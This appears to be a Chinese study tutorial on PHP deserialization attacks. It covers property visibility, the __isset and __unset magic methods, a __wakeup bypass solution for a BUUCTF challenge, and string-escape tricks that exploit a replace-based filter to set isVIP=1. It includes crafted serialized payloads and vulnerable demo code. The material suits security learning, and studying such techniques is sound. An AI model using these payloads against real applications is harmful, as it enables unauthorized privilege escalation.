前言
属性特征 : 是指php的类定义除了 public(公共属性)还有 protect(受保护的属性) 和private (私有属性)
特征:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
显示 :(显示不同的目的就是为了让 反序列化 进行识别他是什么类型的属性)
public正常显示
protect 显示的特征就是 %00 %00 就是有空格掺杂
private 显示特征就是 xxx *
<?php
//public private protected说明
class Atest{
public $name="xiaodi";
private $age="31";
protected $sex="man";
}
$a=new Atest();
$a=serialize($a);
print_r($a);
?>
续上文介绍 剩下2个高频 魔术方法
1、__isset() 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
public $sex; //公共的
private $name; //私有的
private $age; //私有的
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
//echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
echo "123<br>";
return isset($this->$content);
}
}
$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// echo isset($person->name),"<br>";
// echo empty($person->sex),"<br>";
// private 成员
isset($person->name);
empty($person->age);
2、__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
上边这两个其实都是对不可方法变量的操作
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "这是个私有变量".$content."<br>";
//echo isset($this->$content)."<br>";
}
}
$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset
CVE(__wakeup逃逸)(以buuctf中的[极客大挑战 2019]PHP)
有个提示是 这个网站是有备份文件的 所以直接访问 www.zip
解压一下使用vscode打开: 打开index.php 寻找信息
因为包含了一个 class.php 所以推测pop应该是从 class.php内获取
新建一个pop.php
先了解一下 wakeup的基本使用(当 unserialize 被调用是会先使用它来进行数据的初始化)
他的作用是初始化数据
运行下面代码
<?php
class Www{
public $name='xiaodi';
public function __wakeup(){
echo "222";
$this->name = 'nJohn';
}
}
$x=new Www();
$xx=serialize($x);
$xxx=unserialize($xx);
var_dump($xxx);
?>
构造pop
O:5:"Names":2:{s:15:"Namesusername";s:5:"admin";s:15:"Namespassword";i:100;}
但是wakeup的绕过就是把对象的数量大于实际的数量就会不执行 wakeup
url编码一下传给 ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
flag{c1c757b6-9d95-4bd0-bbf4-a2f6ad314d9b}
字符串的逃逸
是什么事字符串的逃逸? :字符串的逃逸就是为了绕过一下过滤性的waf
简单的演示
对替换的进行反序列化 输出失败
原因 : 因为序列化被修改但是他的字符数不会被修改
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
看一下hacker是6位数 而序列化之后是 5位的显示 所以才会导致的这个时候就需要我们进行 字符串的逃逸
看个本地的demo
1\字符串加位逃逸
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){ //因为这个的判断只有一个所以 只要让 isvip=1 就能执行 flag is niubi
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
//你必须输入admin
//
//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";
//$u='admin';
//$p='123456';
//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
知道之后 进行pop的构造只把需要的留下
<?php
class user
{
public $username='admin';
public $password='123456';
public $isVIP='1';
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
$u='admin';
$p='123456';
$obj = new user($u,$p);
echo serialize($obj);
分别输出出 1、原本的 2、替换后的
原
O:4:"user":3:{s:8:"username";s:5:"我们的输入";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
现在的
O:4:"user":3:{s:8:"我们的输入";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
发现hacker 是 6个字符 却被序列化为 5 这样就会让替换之后的 多很多字符 那该怎么办? 涉及到占位问题 就是hacker会多占位
输入一个 admin 会多占位一个 我们把username 写为 : 47个admin (这个是有admin后边的位数决定的) 这个时候替换会多出 47个 r 我们输入的后边 有多余的 47位可以代替 被替换的 来补全
admin = 5
5 * 47 + 47
47个admin 正好加上 后边的47位 和下边的相等 这样实现字符串的逃逸
可以理解为 47 和 6 的公倍数 遇见 就可以写为 寻找要构造的数后边的多余为 和要替换数的字符数的公倍数 这个只适用于 多一个字符的替换
47个 admin全部替换掉为 hacker
hacker=6
6 * 47
最后的paylaod :
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'
这个的原理就是使用了 admin 替换为 hacker 让后边加上原来admin 就有的内容
2\字符串减位逃逸
字符的减位和加位完全为两个逻辑
上边 位多了 我们就把username 加到 和下边一样
减位的话 就需要让位 让我们的输入也变少 和少到和下边一样
本地demo源码
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
还是先获取 替换前和 之后的 序列化内容
原:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
现:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样
发现是22 位
上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样、
username 生成 22个admin 会使得下边少 22位 我们让 password= ";s:8:"password";s:6:" 从而是上下一致
paylaod
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
进行反序列在url编码 成功出flag
因为判断是 isvip 所以只要 isvip=1 就能实现
综合
技巧 :增找末尾相同的个数位 进行上下一致的补位(末尾部分的补位) 这个只补 admin
减找中间的相同位数 让admin和password共同构造和下边一样的payload(中间部分的双写)